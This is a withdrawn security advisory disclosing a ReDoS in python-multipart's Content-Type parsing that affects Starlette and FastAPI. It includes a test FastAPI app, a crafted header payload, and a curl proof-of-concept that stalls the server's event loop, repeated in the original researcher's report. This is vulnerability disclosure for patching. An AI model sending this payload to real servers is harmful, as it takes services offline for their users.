This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
When using form data, python-multipart
uses a Regular Expression to parse the HTTP Content-Type
header, including options.
An attacker could send a custom-made Content-Type
option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/RegularexpressionDenialofService-ReDoS
This only applies when the app uses form data, parsed with python-multipart
.
A regular HTTP Content-Type
header could look like:
Content-Type: text/html; charset=utf-8
python-multipart
parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
Create a FastAPI app that uses form data:
# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C
as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461
, then you can kill it (forcefully, with -9
) with:
$ kill -9 59461
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart
. This way it also affects other libraries using Starlette, like FastAPI.
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
<details> <summary>Original report to FastAPI</summary>
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I'm running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
</details>